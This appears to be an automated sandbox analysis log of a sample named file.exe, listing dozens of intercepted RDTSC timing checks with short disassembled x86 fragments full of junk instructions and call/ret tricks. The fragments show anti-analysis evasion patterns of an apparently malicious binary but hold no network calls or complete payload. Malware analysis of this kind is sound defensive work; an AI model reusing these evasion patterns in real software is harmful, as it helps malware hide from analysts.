Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD963 second address: BBD9B0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F209CBE0096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F209CBE0098h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 sub dword ptr [ebp+122D1C33h], ebx 0x0000002f xchg eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F209CBE00A6h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE49C second address: BBE4A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE4A8 second address: BBE4FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jno 00007F209CBE0096h 0x0000000d pop ecx 0x0000000e popad 0x0000000f nop 0x00000010 mov di, 722Bh 0x00000014 push 00000000h 0x00000016 ja 00007F209CBE009Ch 0x0000001c push 00000000h 0x0000001e jmp 00007F209CBE00A7h 0x00000023 jmp 00007F209CBE00A2h 0x00000028 push eax 0x00000029 push ecx 0x0000002a pushad 0x0000002b push edx 0x0000002c pop edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC1B4A second address: BC1B59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F209CD00FFAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD733 second address: BBD73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC34B4 second address: BC34BA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC39B3 second address: BC39B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC3B55 second address: BC3B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5C88 second address: BC5C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5C8E second address: BC5CAB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F209CD00FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F209CD00FFDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6B3A second address: BC6B5E instructions: 0x00000000 rdtsc 0x00000002 je 00007F209CBE0096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c je 00007F209CBE00AEh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F209CBE00A0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8B50 second address: BC8B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7D3F second address: BC7D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7D43 second address: BC7DC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01001h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d clc 0x0000000e mov dword ptr [ebp+122D2D80h], ecx 0x00000014 popad 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov edi, 4F71E449h 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F209CD00FF8h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov eax, dword ptr [ebp+122D07F5h] 0x00000048 jne 00007F209CD00FFCh 0x0000004e push FFFFFFFFh 0x00000050 jbe 00007F209CD00FF7h 0x00000056 clc 0x00000057 nop 0x00000058 pushad 0x00000059 jnc 00007F209CD00FF8h 0x0000005f jp 00007F209CD00FFCh 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBDF8 second address: BCBDFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBDFC second address: BCBE02 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBE02 second address: BCBE22 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F209CBE0098h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F209CBE009Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBE22 second address: BCBE32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD00FFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBE32 second address: BCBEC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE00A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, 757689A0h 0x0000000f jmp 00007F209CBE009Fh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F209CBE0098h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 jns 00007F209CBE0099h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F209CBE0098h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 sub ebx, 6EAAD762h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBEC2 second address: BCBEC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBEC8 second address: BCBED3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F209CBE0096h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCC55 second address: BCCC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCC59 second address: BCCC5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDD53 second address: BCDD58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDD58 second address: BCDD5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCED3C second address: BCED40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCED40 second address: BCEDA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F209CBE00A6h 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push esi 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop esi 0x00000013 pushad 0x00000014 jns 00007F209CBE0096h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e nop 0x0000001f sub dword ptr [ebp+122D1E15h], eax 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F209CBE0098h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 mov edi, dword ptr [ebp+122D37C9h] 0x00000049 push eax 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFDB7 second address: BCFDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F209CD01006h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFDD1 second address: BCFDF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE00A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFDF0 second address: BCFDF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDFE8 second address: BCDFF6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F209CBE0096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0DD2 second address: BD0E1E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F209CD00FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F209CD00FF8h 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 mov bx, cx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F209CD00FF8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 push 00000000h 0x00000035 mov edi, dword ptr [ebp+122D1C19h] 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0025 second address: BD0029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC13C second address: BCC140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0029 second address: BD0037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F209CBE0096h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC140 second address: BCC144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC144 second address: BCC15C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F209CBE009Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push ebx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1CC2 second address: BD1CCC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F209CD00FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1CCC second address: BD1D61 instructions: 0x00000000 rdtsc 0x00000002 je 00007F209CBE009Ch 0x00000008 jnp 00007F209CBE0096h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F209CBE0098h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov dword ptr [ebp+12481E95h], edx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F209CBE0098h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f mov edi, 38E48FE4h 0x00000054 mov edi, dword ptr [ebp+122D38B9h] 0x0000005a push 00000000h 0x0000005c cld 0x0000005d mov edi, 18D38331h 0x00000062 xchg eax, esi 0x00000063 je 00007F209CBE00A9h 0x00000069 push edi 0x0000006a jmp 00007F209CBE00A1h 0x0000006f pop edi 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jp 00007F209CBE0098h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0F52 second address: BD0F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1F3C second address: BD1F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1F40 second address: BD1F54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD00FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD2EAB second address: BD2EB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F209CBE0096h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD71D1 second address: BD71D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA658 second address: BDA665 instructions: 0x00000000 rdtsc 0x00000002 je 00007F209CBE0096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79812 second address: B7981C instructions: 0x00000000 rdtsc 0x00000002 je 00007F209CD00FF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7981C second address: B79837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F209CBE00A2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79837 second address: B79864 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F209CD01001h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F209CD01008h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9EFF second address: BD9F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0B15 second address: BE0B1A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE14EA second address: BE14EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE1751 second address: BE1777 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01003h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 jl 00007F209CD00FF6h 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE1777 second address: BE17B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE00A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jno 00007F209CBE00A8h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE17B1 second address: BE17B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE17B7 second address: BE17BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE58DC second address: BE58E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE58E0 second address: BE58E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5E30 second address: BE5E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CD01005h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F209CD00FFAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5E58 second address: BE5E6E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F209CBE0096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6373 second address: BE63A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F209CD00FFAh 0x0000000b jmp 00007F209CD00FFBh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F209CD00FFAh 0x00000019 pushad 0x0000001a popad 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BED53E second address: BED542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF51E second address: BBF531 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F209CD00FF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF531 second address: BBF537 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF537 second address: BBF567 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F209CD00FF8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d add ecx, dword ptr [ebp+122D3835h] 0x00000013 lea eax, dword ptr [ebp+1248F32Fh] 0x00000019 mov ecx, dword ptr [ebp+122D1EFDh] 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jng 00007F209CD00FF6h 0x00000029 jno 00007F209CD00FF6h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF567 second address: BBF56D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFBFE second address: BBFC08 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F209CD00FFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFCC0 second address: BBFCC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0312 second address: BC031B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0431 second address: BC0441 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0441 second address: BC0451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CD00FFBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0629 second address: BC0642 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F209CBE009Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0642 second address: BC0653 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0653 second address: BC0658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDAE1 second address: BEDAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDAE5 second address: BEDAFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE00A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDE43 second address: BEDE47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDFC1 second address: BEDFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F209CBE0096h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jo 00007F209CBE009Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF56A3 second address: BF56A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5A97 second address: BF5A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5A9B second address: BF5A9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5A9F second address: BF5AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5195 second address: BF5199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5199 second address: BF51D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push edi 0x00000009 jmp 00007F209CBE009Fh 0x0000000e jbe 00007F209CBE0096h 0x00000014 pop edi 0x00000015 jng 00007F209CBE009Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d jnl 00007F209CBE0096h 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF51D0 second address: BF51F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01009h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6051 second address: BF605F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 jno 00007F209CBE0096h 0x0000000d pop ecx 0x0000000e rdtsc
